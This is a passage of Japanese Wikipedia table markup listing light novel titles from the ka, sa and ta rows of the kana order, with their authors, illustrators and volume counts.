|瀬尾つかさ
|[[唯々月たすく]]
|単巻
|-
|style="background-color: #c0c0c0;"|[[ご落胤王子は異世界を楽しむと決めた!]]
|style="background-color: #c0c0c0;"|[[るう]]
|style="background-color: #c0c0c0;"|[[オウカ]]
|style="background-color: #c0c0c0;"|全4巻
|-
|[[ご覧の勇者の提供でお送りします]]
|[[田口仙年堂]]
|[[しらび]]
|全2巻
|-
|[[これはゾンビですか?]]
|木村心一
|[[こぶいち]]、[[むりりん]]
|全18巻
|-
|style="background-color: #c0c0c0;"|[[金色の文字使い-勇者四人に巻き込まれたユニークチート-|金色の{{読み仮名|文字使い|ワードマスター}} -勇者四人に巻き込まれたユニークチート-]]
|style="background-color: #c0c0c0;" rowspan="3"|[[十本スイ]]
|style="background-color: #c0c0c0;" rowspan="3"|[[すまき俊悟]]
|style="background-color: #c0c0c0;"|全13巻
|-
|style="background-color: #c0c0c0;"|[[金色の文字使い-勇者四人に巻き込まれたユニークチート-|金色の{{読み仮名|文字使い|ワードマスター}} 外伝 -ユニークチートの異世界探訪記-]]
|style="background-color: #c0c0c0;"|全3巻
|-
|style="background-color: #c0c0c0;"|[[金色の文字使い-勇者四人に巻き込まれたユニークチート-|金色の{{読み仮名|文字使い|ワードマスター}} 野望の軌跡編 紅蓮の幻夢使い]]
|style="background-color: #c0c0c0;"|単巻
|-
|style="background-color: #ccffcc;"|[[ソード・ワールドRPG|混沌の大地]]
|style="background-color: #ccffcc;"|[[清松みゆき]]
|style="background-color: #ccffcc;"|[[狭霧光明]]
|style="background-color: #ccffcc;"|全4巻
|-
|style="background-color: #c0c0c0;"|[[コンビニ強盗から助けた地味店員が、同じクラスのうぶで可愛いギャルだった]]
|style="background-color: #c0c0c0;"|あボーン
|style="background-color: #c0c0c0;"|なかむら
|style="background-color: #c0c0c0;"|全3巻{{Efn2|2022年6月13日投稿の第52話を最後に休載 結末は全く異なる内容になっている。}}
|-
|[[コンプリート・ノービス]]
|[[田尾典丈]]
|[[籠目 (イラストレーター)|籠目]]
|全5巻
|}
=== さ行 ===
<!-- 以下に作品を追加するときには、作品名基準で五十音順に並べ、作者名、完結済みかどうかも出来る限り併記してください。また、新たに記事を作るときはリンクをつけてください。 -->
{| class="wikitable" style="width: 98%;"
|-
!width=48%|タイトル
!width=21%|著者
!width=21%|イラスト
!width=10%|巻数
|-
|-
|style="background-color: #ccffcc;"|[[ソード・ワールドRPG|サーラの冒険]]
|style="background-color: #ccffcc;"|[[山本弘 (作家)|山本弘]]
|style="background-color: #ccffcc;"|[[幻超二]]
|style="background-color: #ccffcc;"|全6巻
|-
|style="background-color: #fcfccc;"|[[最近、妹のようすがちょっとおかしいんだが。]]
|style="background-color: #fcfccc;"|みかづき紅月<br /><small>原作:[[松沢まり]]</small>
|style="background-color: #fcfccc;"|松沢まり
|style="background-color: #fcfccc;"|単巻
|-
|[[最強奴隷商の烙印魔術と美少女堕とし]]
|[[初美陽一]]
|[[kakao (イラストレーター)|kakao]]
|全3巻
|-
|[[再生のパラダイムシフト]]
|[[武葉コウ]]
|[[ntny]]
|全6巻
|-
|style="background-color: #ffcccc;"|{{読み仮名|[[電脳都市OEDO808]]|サイバーシティ オーエド ハチマルハチ}}
|style="background-color: #ffcccc;"|[[遠藤明範]]
|style="background-color: #ffcccc;"|[[川尻善昭]]、[[浜崎博嗣]]
|style="background-color: #ffcccc;"|全3巻
|-
|[[災厄戦線のオーバーロード]]
|[[日暮晶]]
|しらび
|全3巻
|-
|[[S.I.R.E.N.]]
|細音啓
|[[蒼崎律]]
|全5巻
|-
|style="background-color: #ffcccc;"|[[サイレントメビウス]]
|style="background-color: #ffcccc;"|[[重馬敬]]、[[辻壮一]]<br /><small>原作・監修:[[麻宮騎亜]]</small>
|style="background-color: #ffcccc;"|麻宮騎亜
|style="background-color: #ffcccc;"|全4巻
|-
|[[サイレント・ラヴァーズ]]
|吉村夜
|結賀さとる
|全4巻
|-
|[[冴えない彼女の育てかた]]
|rowspan="3"|[[丸戸史明]]
|rowspan="3"|[[深崎暮人]]
|全13巻
|-
|[[冴えない彼女の育てかた|冴えない彼女の育てかたFD]]
|全2巻
|-
|[[冴えない彼女の育てかた|冴えない彼女の育てかた Girls Side]]
|全3巻
|-
|[[咲き誇る戦花巫女]]
|宮沢周
|[[にの子]]
|単巻
|-
|style="background-color: #ccffff;"|[[サクラ大戦シリーズ|サクラ大戦]]
|style="background-color: #ccffff;" rowspan="2"|あかほりさとる
|style="background-color: #ccffff;"|[[奥田万つ里]]
|style="background-color: #ccffff;"|全4巻
|-
|style="background-color: #ccffff;"|[[サクラ大戦シリーズ|サクラ大戦 巴里前夜]]
|style="background-color: #ccffff;"|[[越知信次]](1-2巻)、[[亀井幹太]](1巻のみ)
|style="background-color: #ccffff;"|全2巻
|-
|style="background-color: #ccffff;"|[[サクラ大戦シリーズ|サクラ大戦 轟華絢爛]]
|style="background-color: #ccffff;" rowspan="3"|[[川崎ヒロユキ]]
|style="background-color: #ccffff;" rowspan="2"|[[菅沼栄治]]
|style="background-color: #ccffff;"|全2巻
|-
|style="background-color: #ccffff;"|[[サクラ大戦シリーズ|サクラ大戦 太正恋歌]]
|style="background-color: #ccffff;"|全2巻
|-
|style="background-color: #ccffff;"|[[サクラ大戦シリーズ|サクラ大戦 活動写真]]
|style="background-color: #ccffff;"|[[齋藤卓也]]、[[松原秀典]]、[[プロダクション・アイジー|Production I.G]]
|style="background-color: #ccffff;"|単巻
|-
|[[ザ・サード]]
|rowspan="2"|星野亮
|[[後藤なお]](1-10巻・短編集1-6巻)、[[きみしま青]](11-12巻・短編集7巻)
|全12巻<br />短編集7巻
|-
|[[ザ・サード|ザ・サード{{読み仮名|0|ゼロ}}]]
|後藤なお
|単巻
|-
|[[さまよう神姫の剣使徒]]
|[[すえばしけん]]
|[[H2SO4 (イラストレーター)|H2SO4]]
|全2巻
|-
|style="background-color: #c0c0c0;"|[[さよなら異世界、またきて明日]]
|style="background-color: #c0c0c0;"|[[風見鶏 (作家)|風見鶏]]
|style="background-color: #c0c0c0;"|[[にもし]]
|style="background-color: #c0c0c0;"|既刊2巻
|-
|[[ザンヤルマの剣士]]
|rowspan="2"|麻生俊平
|rowspan="2"|弘司
|全9巻
|-
|[[ザンヤルマの剣士|ザンヤルマの剣士イレギュラーズ]]
|単巻
|-
|[[死神とチョコレート・パフェ]]
|花凰神也
|[[夜野みるら]]
|全3巻
|-
|[[シークレット・ハニー]]
|[[深見真]]
|[[しゅがすく]]
|全2巻
|-
|[[ジェスターズ・ギャラクシー]]
|新城カズマ
|[[純珪一]](1巻)、[[おもて空良]](2-4巻)
|全4巻
|-
|[[ジェラルディン・サーガ]]
|[[松枝蔵人]]
|[[麻宮騎亜]]
|全1巻
|-
|[[ジオメトリック・シェイパー]]
|[[紙谷龍生]]
|[[篁龍士]]
|全2巻
|-
|[[しけたい〜日本史で試験対策委員会〜]]
|[[壱乗寺かるた]]
|[[なつめえり]]
|単巻
|-
|style="background-color: #c0c0c0;"|[[史上最強の大魔王、村人Aに転生する]]
|style="background-color: #c0c0c0;" rowspan="2"|[[下等妙人]]
|style="background-color: #c0c0c0;" rowspan="2"|[[水野早桜]]
|style="background-color: #c0c0c0;"|全10巻
|-
|style="background-color: #c0c0c0;"|[[史上最強の大魔王、村人Aに転生する|史上最強の大魔王、村人Aに転生する異伝]]
|style="background-color: #c0c0c0;"|単巻
|-
|style="background-color: #c0c0c0;"|[[自炊男子と女子高生]]
|style="background-color: #c0c0c0;"|茜ジュン
|style="background-color: #c0c0c0;"|あるみっく
|style="background-color: #c0c0c0;"|単巻
|-
|[[死線世界の追放者]]
|[[ミズノアユム]]
|[[カスカベアキラ]]
|全2巻
|-
|[[じつは義妹でした。 〜最近できた義理の弟の距離感がやたら近いわけ〜|じつは{{読み仮名|義妹|いもうと}}でした。 〜最近できた義理の弟の距離感がやたら近いわけ〜]]
|[[白井ムク]]
|[[千種みのり]]
|既刊5巻
|-
|style="background-color: #c0c0c0;"|[[実は同じ職場にあなたを好きな人がいます]]
|style="background-color: #c0c0c0;"|波瀾紡
|style="background-color: #c0c0c0;"|jonsun
|style="background-color: #c0c0c0;"|単巻{{Efn2|ウェブ版は2022年4月2日で放置、未完。作者曰く、続刊が出る基準に部数が到達していないと版元に言い渡された。[https://kakuyomu.jp/users/Ryu---/news/16816927860709735236 【お知らせ】『しょく好き』の今後について]作者近況ノート2022年2月12日}}
|-
|[[SH@PPLE -しゃっぷる-]]
|竹岡葉月
|よう太
|全9巻
|-
|[[ジャッジメント・ワールド]]
|青田竜幸
|[[大峰ショウコ]]
|全5巻
|-
|[[銃と魔法]]
|[[川崎康宏]]
|[[草彅琢仁|草なぎ琢仁]]
|全2巻
|-
|[[GENEZ]]
|深見真
|[[mebae]]
|全8巻
|-
|[[12月のベロニカ]]
|貴子潤一郎
|ともぞ
|単巻
|-
|[[少女と血と勇者先生と]]
|[[蒼木いつろ]]
|[[POKImari]]
|単巻
|-
|[[四獣伝説 遥かなる波濤の呼び声|四獣伝説 遥かなる{{読み仮名|波濤|なみ}}の呼び声]]
|五代ゆう
|[[箕輪豊]]
|上中下巻
|-
|[[七人の武器屋]]
|[[大楽絢太]]
|[[今野隼史]]
|全9巻
|-
|style="background-color: #fcfccc;"|[[SHADOW SKILL|SHADOW SKILL APOCRYPHA -影技- 外典]]
|style="background-color: #fcfccc;"|富永浩史<br /><small>原作:[[岡田芽武]]</small>
|style="background-color: #fcfccc;"|岡田芽武
|style="background-color: #fcfccc;"|全2巻
|-
|style="background-color: #ccffcc;"|[[シャドウラン|シャドウラン・ノベル First Run 漆黒の戦鬼]]
|style="background-color: #ccffcc;"|[[江川晃]]
|style="background-color: #ccffcc;"|[[士貴智志]]
|style="background-color: #ccffcc;"|単巻
|-
|[[修理屋さん家の破壊神]]
|[[朱門優]]
|[[まろ (イラストレーター)|まろ]]
|単巻
|-
|[[召喚教師リアルバウトハイスクール]]
|rowspan="3"|[[雑賀礼史]]
|rowspan="3"|[[いのうえ空]]
|全19巻
|-
|[[召喚教師リアルバウトハイスクール|召喚教師リアルバウトハイスクール EX]]
|全5巻
|-
|[[召喚教師リアルバウトハイスクール|召喚教師リアルバウトハイスクール アーリー・デイズ]]
|全3巻
|-
|style="background-color: #ccffcc;"|[[モンスター・コレクション|召喚士マリア]]
|style="background-color: #ccffcc;" rowspan="2"|北沢慶<br /><small>原案:安田均</small>
|style="background-color: #ccffcc;" rowspan="2"|[[四季童子]]
|style="background-color: #ccffcc;"|全6巻
|-
|style="background-color: #ccffcc;"|[[モンスター・コレクション|召喚士マリアな日々]]
|style="background-color: #ccffcc;"|全4巻
|-
|[[杖術師夢幻帳]]
|[[昆飛雄]]
|[[針玉ヒロキ]]
|単巻
|-
|[[シリウスシリーズ]]
|[[南田操]]
|美樹本晴彦
|全4巻
|-
|[[司令官レオンの覇道]]
|築地俊彦
|[[風瑛なづき]]
|単巻
|-
|[[心空管レトロアクタ]]
|[[羽根川牧人]]
|[[片倉真二]]
|全2巻
|-
|[[真・三国志妹]]
|春日みかげ
|[[をん]]
|既刊5巻
|-
|[[神洲天魔鏡]]
|舞阪洸
|[[兼処敬士]]
|全5巻
|-
|[[新世の学園戦区]]
|[[来生直紀]]
|[[三嶋くろね]]
|全2巻
|-
|[[神聖のレジスタ]]
|[[北山大詩]]
|尾崎弘宜
|全4巻
|-
|[[神仙酒コンチェルト]]
|[[字野耕平]]
|[[有田満弘]]
|単巻
|-
|[[神装都市の無刃聖機士]]
|[[小山タケル]]
|[[artumph]]
|全3巻
|-
|style="background-color: #ffcccc;"|[[天地無用!|真・天地無用!魎皇鬼]]
|style="background-color: #ffcccc;"|[[黒田洋介]]、梶島正樹
|style="background-color: #ffcccc;" rowspan="2"|梶島正樹
|style="background-color: #ffcccc;"|全3巻
|-
|style="background-color: #ffcccc;"|[[天地無用! GXP|真・天地無用!魎皇鬼外伝 天地無用!GXP]]
|style="background-color: #ffcccc;"|梶島正樹(全巻)、[[白根秀樹]](1巻のみ)
|style="background-color: #ffcccc;"|既刊17巻
|-
|style="background-color: #c0c0c0;"|[[新米錬金術師の店舗経営]]
|style="background-color: #c0c0c0;"|[[いつきみずほ]]
|style="background-color: #c0c0c0;"|[[ふーみ]]
|style="background-color: #c0c0c0;"|既刊7巻
|-
|[[スカイ・ワールド]]
|瀬尾つかさ
|[[武藤此史]]
|全11巻
|-
|[[SCAR/EDGE]]
|[[三田誠]]
|[[植田亮]]
|全4巻
|-
|[[好きすぎるから彼女以上の、妹として愛してください。]]
|[[滝沢慧]]
|[[平つくね]]
|全5巻
|-
|[[スクラップド・プリンセス]]
|rowspan="2"|榊一郎
|rowspan="2"|[[安曇雪伸]]
|全13巻
|-
|[[スクラップド・プリンセス|スクラップド・プリンセス サプリメント]]
|全5巻
|-
|[[進め! 双角小隊]]
|川崎康宏
|[[るりあ046]]
|全2巻
|-
|[[ステラ・レジーナ☆ 女の子、拾いますか? YES/NO]]
|[[長谷川菜穂子]]
|[[石川まどか]]
|単巻
|-
|[[ストレイト・ジャケット]]
|rowspan="2"|榊一郎
|rowspan="2"|[[藤城陽]]
|全11巻
|-
|[[ストレイト・ジャケット|ストレイト・ジャケット フラグメント]]
|全3巻
|-
|[[スプライトシュピーゲル]]
|冲方丁
|[[はいむらきよたか]]
|全4巻
|-
|[[白夢|{{読み仮名|白夢|スノーミスト}}]]
|瀬尾つかさ
|[[るろお]]
|全4巻
|-
|[[スノウピー]]
|山田有
|狐印
|全3巻
|-
|[[スパイ教室]]
|[[竹町 (小説家)|竹町]]
|[[トマリ (イラストレーター)|トマリ]]
|既刊10巻<br />短編集4巻
|-
|[[スプラッシュ!]]
|三田誠
|[[PEACH-PIT]]
|全3巻
|-
|[[SLASH/DOG]]
|rowspan="2"|[[石踏一榮]]
|[[横溝大輔]]
|全1巻
|-
|[[堕天の狗神 -SLASHDØG-]]
|[[きくらげ (イラストレーター)|きくらげ]]
|既刊3巻
|-
|[[スレイヤーズ]]★
|rowspan="4"|神坂一
|rowspan="4"|[[あらいずみるい]]
|既刊17巻
|-
|[[スレイヤーズ|スレイヤーズ すぺしゃる]]
|全30巻
|-
|[[スレイヤーズ|スレイヤーズ すまっしゅ。]]
|全5巻
|-
|[[スレイヤーズ|スレイヤーズ せれくと]]
|全5巻
|-
|[[西域剣士列伝 天山疾風記]]
|松下寿治
|[[杉浦た美]]
|単巻
|-
|[[生徒会の一存|生徒会の一存 碧陽学園生徒会議事録]]★
|rowspan="3"|葵せきな
|rowspan="3"|[[狗神煌]]
|全10巻
|-
|[[生徒会の一存|生徒会の一存 碧陽学園生徒会黙示録]]
|全9巻
|-
|[[生徒会の一存|新生徒会の一存 碧陽学園新生徒会議事録]]
|全2巻
|-
|[[星方天使エンジェルリンクス|星方遊撃隊エンジェル・リンクス]]
|[[伊吹秀明]]
|幡池裕行
|全4巻
|-
|[[聖竜伝]]
|rowspan="2"|[[冴木忍]]
|rowspan="2"|森田柚花
|全3巻
|-
|[[真・聖竜伝]]
|全2巻
|-
|[[世界一かんたんなヒロインの攻略しかた]]
|[[織笠遊人]]
|[[さばみぞれ]]
|単巻
|-
|style="background-color: #c0c0c0;"|[[世界最強騎士団の切り札は俺らしい 無敵集団の中で無能力者の俺が無双無敗な理由]]
|style="background-color: #c0c0c0;"|輝井永澄
|style="background-color: #c0c0c0;"|bun150
|style="background-color: #c0c0c0;"|既刊2巻
|-
|[[絶対服従カノジョ。]]
|春日秋人
|[[樹人]]
|全3巻
|-
|style="background-color: #ffcccc;"|[[セツナトリップ]]
|style="background-color: #ffcccc;"|[[さつきやまい]]<br /><small>原作・監修:[[Last Note.]]</small>
|style="background-color: #ffcccc;"|[[のん (イラストレーター)|のん]]
|style="background-color: #ffcccc;"|単巻
|-
|[[セブンキャストのひきこもり魔術王]]
|岬かつみ
|mmu
|全5巻
|-
|<!--WEB投稿発ではない(カクヨムでの公開は書籍化決定済みの試し読みとして)-->[[世話好きで可愛いJK3姉妹だったら、おうちで甘えてもいいですか?]]
|[[はむばね]]
|[[TwinBox]]
|全2巻
|-
|[[閃光戦隊ジュエルスターズ]]
|秋津透
|[[新田真子]]
|全5巻
|-
|[[旋風のカガリ]]
|吉岡平
|[[騎羅]]
|全6巻
|-
|[[仙・龍・演・義 開演! 仙娘とネコのプレリュード]]
|[[秋穂有輝]]
|[[Tacet]]
|単巻
|-
|[[双界のアトモスフィア]]
|[[筧ミツル]]
|[[refeia]]
|全3巻
|-
|[[蒼穹のカルマ]]
|橘公司
|[[森沢晴行]]
|全8巻
|-
|style="background-color: #c0c0c0;"|[[双星の天剣使い]]
|style="background-color: #c0c0c0;"|七野りく
|style="background-color: #c0c0c0;"|cura
|style="background-color: #c0c0c0;"|既刊4巻
|-
|style="background-color: #ffcccc;"|[[創聖のアクエリオン]]
|style="background-color: #ffcccc;" rowspan="2"|[[橘圭]]<br /><small>原作:[[河森正治]]、[[サテライト (アニメ制作会社)|サテライト]]</small>
|style="background-color: #ffcccc;" rowspan="2"|[[金田榮路]]
|style="background-color: #ffcccc;"|全1巻
|-
|style="background-color: #ffcccc;"|[[創聖のアクエリオン|創聖のアクエリオン 天翅編]]
|style="background-color: #ffcccc;"|単巻
|-
|[[ゾディアック・ウィッチーズ 十二星座の魔女]]
|朱門優
|[[ななかまい]]
|全2巻
|-
|[[ソードギャラクシー 風、天を駈けよ]]
|[[荻野目悠樹]]
|[[バハムーチョ]]
|単巻
|-
|style="background-color: #ccffcc;"|[[ソード・ワールドRPG#小説|ソード・ワールド・ノベル]]
|style="background-color: #ccffcc;" rowspan="2"|[[グループSNE]]
|style="background-color: #ccffcc;"|
|style="background-color: #ccffcc;"|
|-
|style="background-color: #ccffcc;"|[[ソード・ワールド短編集]]
|style="background-color: #ccffcc;"|
|style="background-color: #ccffcc;"|
|-
|[[それゆけ!宇宙戦艦ヤマモト・ヨーコ]]
|rowspan="2"|[[庄司卓]]
|rowspan="2"|[[赤石沢貴士]]
|全12巻
|-
|[[それゆけ!宇宙戦艦ヤマモト・ヨーコ|それゆけ!宇宙戦艦ヤマモト・ヨーコ opt]]
|全10巻
|-
|}
=== た行 ===
<!-- 以下に作品を追加するときには、作品名基準で五十音順に並べ、作者名、完結済みかどうかも出来る限り併記してください。また、新たに記事を作るときはリンクをつけてください。 -->
{| class="wikitable" style="width: 98%;"
|-
!width=48%|タイトル
!width=21%|著者
!width=21%|イラスト
!width=10%|巻数
|-
|style="background-color: #ccffcc;"|[[ソード・ワールドRPG|ダークエルフの口づけ]]
|style="background-color: #ccffcc;"|[[川人忠明]]
|style="background-color: #ccffcc;"|[[椎名優]]
|style="background-color: #ccffcc;"|全4巻
|-
|[[ダーク・フロンティア・ブルース]]
|[[市川丈夫]]
|[[ぽぽるちゃ]]
|全4巻
|-
|[[ダークロード (ライトノベル)|ダークロード]]
|十月ユウ
|[[いっせー]]
|全4巻
|-
|[[第五惑星アスカ]]
|六道慧
|高田明美
|全3巻
|-
|[[大菩薩峠の要塞]]
|[[朝松健]]
|沢田一
|全2巻
|-
|[[対魔導学園35試験小隊]]
|rowspan="2"|柳実冬貴
|rowspan="2"|[[切符 (イラストレーター)|切符]]
|全13巻
|-
|[[対魔導学園35試験小隊|対魔導学園35試験小隊Another Mission]]
|全2巻
|-
|[[だから僕は、Hができない。]]
|橘ぱん
|[[桂井よしあき]]
|全11巻
|-
|[[黄昏色の詠使い]]
|細音啓
|[[竹岡美穂]]
|全10巻
|-
|[[黄昏の刻]]
|吉村夜
|[[すみ兵]]
|全5巻
|-
|[[WSW EXODUS]]
|長野聖樹
|Ein
|単巻
|-
|[[正しいアクのすくい方]]
|[[柊晴空]]
|[[白羽奈尾]]
|全2巻
|-
|style="background-color: #c0c0c0;"|[[ただの屍のようだと言われて幾星霜、気づいたら最強のアンデッドになってた]]
|style="background-color: #c0c0c0;"|[[九頭七尾]]
|style="background-color: #c0c0c0;"|[[チワワ丸]]
|style="background-color: #c0c0c0;"|既刊2巻
|-
|[[漂う書庫のヴェルテ・テラ]]
|川口士
|[[雛祭桃子]]
|全5巻
|-
|[[TATTOO BLADE]]
|市川丈夫
|[[上田夢人]]
|全2巻
|-
|style="background-color: #c0c0c0;"|[[たとえば俺が、チャンピオンから王女のヒモにジョブチェンジしたとして。]]
|style="background-color: #c0c0c0;"|[[藍藤唯]]
|style="background-color: #c0c0c0;"|[[霜降 (イラストレーター)|霜降]]
|style="background-color: #c0c0c0;"|既刊3巻
|-
|style="background-color: #ccffcc;"|[[ダブルクロス]]
|style="background-color: #ccffcc;"|矢野俊策.、F.E.A.R.
|style="background-color: #ccffcc;"|森井しづき
|style="background-color: #ccffcc;"|全3巻
|-
|[[ダブル・ロール!]]
|[[左京潤]]
|[[BLADE (イラストレーター)|BLADE]]
|全2巻
|-
|style="background-color: #c0c0c0;"|[[食べるだけでレベルアップ! 〜駄女神といっしょに異世界無双〜]]
|style="background-color: #c0c0c0;"|[[kt60]]
|style="background-color: #c0c0c0;"|[[ちり (イラストレーター)|ちり]]
|style="background-color: #c0c0c0;"|単巻
|-
|[[〈卵王子〉カイルロッドの苦難]]
|冴木忍
|[[田中久仁彦]]
|全9巻
|-
|[[ダンシィング・ウィズ・ザ・デビルス]]
|rowspan="2"|庄司卓
|rowspan="2"|[[田沼雄一郎]]
|全4巻
|-
|[[ダンシングウィスパーズ]]
|全8巻
|-
|style="background-color: #ffcccc;"|[[ちっちゃな雪使いシュガー]]
|style="background-color: #ffcccc;"|[[大河内一楼]]<br /><small>原作:[[蒼はるか]]</small>
|style="background-color: #ffcccc;"|[[こげどんぼ*|コゲどんぼ]]、[[まりも (イラストレーター)|まりも]]
|style="background-color: #ffcccc;"|単巻
|-
|[[チャイニーズ・ドリーム|チャイニーズ・ドリーム そして炎は天を突く]]
|[[雪村智史]]
|大峰ショウコ
|単巻
|-
|[[調停少女サファイア]]
|瀬尾つかさ
|[[優木きら]]
|全2巻
|-
|[[超能力はワインの香り]]
|[[藤井青銅]]
|[[ものぐさずん]]
|単巻
|-
|[[ちょコワ、いかがでしょう? ほんとにあった、ちょいコワ奇譚集]]
|水城正太郎
|[[中条花月]]
|単巻
|-
|[[ちょっぴりえっちな三姉妹でも、お嫁さんに してくれますか?]]
|[[浅岡旭]]
|[[アルデヒド (イラストレーター)|アルデヒド]]
|全4巻
|-
|[[中の下!]]
|長岡マキ子
|[[ごまえ]]
|全5巻
|-
|[[超熱血ゴーカイザー]]
|とまとあき・塚本裕美子
|[[岡本英郎]]
|全3巻
|-
|[[追伸 ソラゴトに微笑んだ君へ]]
|[[田辺屋敷]]
|[[美和野らぐ]]
|全2巻
|-
|style="background-color: #c0c0c0;"|[[追放魔術教官の後宮ハーレム生活]]
|style="background-color: #c0c0c0;"|琴平稜
|style="background-color: #c0c0c0;"|[[さとうぽて]]
|style="background-color: #c0c0c0;"|全3巻
|-
|[[ツイン・デヴィル]]
|[[渡邉由自]]
|[[奥田ひとし]]
|全2巻
|-
|style="background-color: #c0c0c0;"|[[通勤電車で会う女子高生に、なぜかなつかれて困っている]]
|style="background-color: #c0c0c0;"|[[甘粕冬夏]]
|style="background-color: #c0c0c0;"|[[はくり]]
|style="background-color: #c0c0c0;"|単巻
|-
|[[通常攻撃が全体攻撃で二回攻撃のお母さんは好きですか?]]
|[[井中だちま]]
|[[飯田ぽち。]]
|全11巻
|-
|[[月王]]
|[[櫻井牧]]
|[[鈴木理華]]
|単巻
|-
|[[月の誓約と原書の姫]]
|[[樋口用考]]
|[[津雪]]
|単巻
|-
|[[Dクラッカーズ]]
|rowspan="3"|[[あざの耕平]]
|rowspan="3"|[[村崎久都]]
|全7巻
|-
|[[Dクラッカーズ|Dクラッカーズ・ショート]]
|全2巻
|-
|[[Dクラッカーズ|Dクラッカーズ{{読み仮名|+|プラス}}]]
|単巻
|-
|[[ディスパレイト!]]
|rowspan="2"|榊一郎
|rowspan="2"|[[増田メグミ]]
|全2巻
|-
|[[ディスパレイト!|ディスパレイト!コンプ]]
|全2巻
|-
|[[デーゲンメイデン]]
|田口仙年堂
|[[柴乃櫂人]]
|全4巻
|-
|[[デート・ア・ライブ]]
|rowspan="2"|橘公司
|rowspan="2"|つなこ
|全22巻
|-
|[[デート・ア・ライブ|デート・ア・ライブ アンコール]]
|既刊11巻
|-
|[[デート・ア・ライブ|デート・ア・ライブ フラグメント デート・ア・バレット]]
|東出祐一郎<br /><small>原案・監修:橘公司</small>
|NOCO
|全8巻
|-
|[[デート・ア・ライブ|デート・ア・ライブ アナザールート]]
|橘公司、[[大森藤ノ]]、[[志瑞祐]]、東出祐一郎、[[羊太郎]]
|つなこ
|単巻
|-
|[[できそこないの魔獣錬磨師|できそこないの{{読み仮名|魔獣錬磨師|モンスタートレーナー}}]]
|rowspan="2"|[[見波タクミ]]
|rowspan="2"|狐印
|全7巻
|-
|[[できそこないの魔獣錬磨師|できそこないの{{読み仮名|魔獣錬磨師|モンスタートレーナー}} スライム・クロニクル]]
|単巻
|-
|[[てくてくとぼく 旅立ちの歌]]
|枯野瑛
|[[GOW (イラストレーター)|GOW]]
|単巻
|-
|style="background-color: #ccffff;"|[[デ・ジ・キャラット#ゲーム|デ・ジ・キャラットファンタジー]]
|style="background-color: #ccffff;"|[[菜の花こねこ]]
|style="background-color: #ccffff;"|コゲどんぼ、[[愁一樹]]
|style="background-color: #ccffff;"|上下巻
|-
|[[鉄甲巨兵 SOME-LINE]]
|rowspan="2"|吉岡平
|rowspan="2"|[[そうま竜也]]
|全4巻
|-
|[[鉄甲巨兵 SOME-LINE|鉄甲巨兵 SOME-LINE SPECIAL 巨人たちの挽歌]]
|単巻
|-
|[[テツワンレイダー]]
|大楽絢太
|[[桜沢いづみ]]
|全5巻
|-
|style="background-color: #ccffcc;"|[[デモンパラサイト]]
|style="background-color: #ccffcc;"|北沢慶
|style="background-color: #ccffcc;"|植田亮
|style="background-color: #ccffcc;"|全5巻
|-
|[[デビル17]]
|豪屋大介
|[[藤渡]]
|全6巻
|-
|[[天華無敵!]]
|ひびき遊
|[[桐原いづみ]]
|全6巻
|-
|style="background-color: #c0c0c0;"|[[転生王女と天才令嬢の魔法革命]]
|style="background-color: #c0c0c0;"|[[鴉ぴえろ]]
|style="background-color: #c0c0c0;"|[[きさらぎゆり]]
|style="background-color: #c0c0c0;"|既刊7巻
|-
|style="background-color: #c0c0c0;"|[[転生賢者は娘と暮らす。]]
|style="background-color: #c0c0c0;"|琴平稜
|style="background-color: #c0c0c0;"|[[かぼちゃ (イラストレーター)|かぼちゃ]]
|style="background-color: #c0c0c0;"|全3巻
|-
|[[転生魔王のジュリエット]]
|[[久慈マサムネ]]
|みやま零
|既刊2巻
|-
|[[伝説の勇者の伝説]]
|rowspan="4"|鏡貴也
|rowspan="4"|[[とよた瑣織]]
|全11巻
|-
|[[伝説の勇者の伝説|とりあえず伝説の勇者の伝説]]
|全11巻
|-
|[[伝説の勇者の伝説|大伝説の勇者の伝説]]
|既刊17巻
|-
|[[伝説の勇者の伝説|真伝勇伝・革命編 堕ちた黒い勇者の伝説]]
|全8巻
|-
|[[天高く、雲は流れ]]
|冴木忍
|[[森山大輔]]
|全15巻
|-
|style="background-color: #ffcccc;"|[[天地無用!|天地無用! 魎皇鬼]]
|style="background-color: #ffcccc;" rowspan="2"|長谷川菜穂子
|style="background-color: #ffcccc;"|梶島正樹、[[大和田直之]]、他
|style="background-color: #ffcccc;"|全12巻
|-
|style="background-color: #ffcccc;"|[[天地無用!|天地無用! 魎皇鬼 真夏のイヴ]]
|style="background-color: #ffcccc;"|大和田直之
|style="background-color: #ffcccc;"|単巻
|-
|[[電蜂 DENPACHI]]
|石踏一榮
|結賀さとる
|単巻
|-
|[[テンプレ展開のせいで、おれのラブコメが鬼畜難易度]]
|氷高悠
|[[檜坂はざら]]
|全2巻
|-
|[[東京レイヴンズ]]
|rowspan="2"|あざの耕平
|rowspan="2"|すみ兵
|既刊16巻
|-
|[[東京レイヴンズ|東京レイヴンズEX]]
|既刊4巻
|-
|[[道士リジィオ]]
|冴木忍
|[[鶴田謙二]]
|全4巻
|-
|[[同棲から始まるオタク彼女の作りかた]]
|村上凛
|[[館川まこ]]
|全5巻
|-
|[[東北呪禁道士]]
|[[大林健司]]
|こばやしひよこ
|単巻
|-
|[[斗姫 Tô-ki 花の章]]
|吉岡平
|[[みけおう]]
|単巻
|-
|[[どかどかどかん]]
|瀧川武司
|[[竹浪秀行]]
|全3巻
|-
|[[突撃アンソロジー 小説つくるぜ!]]
|秋田禎信、神坂一、榊一郎、賀東招二(アンソロジー)
|[[すまき俊悟]]、[[ひろやまひろし]]、[[小笠原智史]]、[[鶴田謙二]] 、[[金澤尚子]]
|単巻
|-
|[[友井町バスターズ]]
|[[水無月ばけら]]
|森山大輔
|単巻
|-
|[[ドラグリミット・ファンタジア]]
|雨木シュウスケ
|[[しばの番茶]]
|全2巻
|-
|[[ドラゴンズ・ウィル]]
|榊一郎
|田沼雄一郎
|単巻
|-
|[[ドラゴンマーク]]
|友野詳
|[[K2商会]]
|全6巻
|-
|[[ドラゴン嫁はかまってほしい]]
|初美陽一
|[[Syroh]]
|全4巻
|-
|[[トリシア先生シリーズ]]
|南房秀久
|小笠原智史
|全4巻
|-
|[[覇者の三剣|{{読み仮名|覇者の三剣|トリスアギオン}}]]
|十月ユウ
|[[天野英]]
|全5巻
|-
|[[000のエレナ]]
|日下弘文
|[[克優希]]
|全3巻
|-
|[[トレース&トレース]]
|[[伊澄優希]]
|[[葉賀ユイ]]
|単巻
|-
|[[ドレスの武器商人と戦華の国]]
|和智正喜
|[[坂本みねぢ]]
|単巻
|-
|[[トワ・ミカミ・テイルズ]]
|日下弘文
|[[テルイ|宮城]]
|全6巻
|}
=== な行 ===
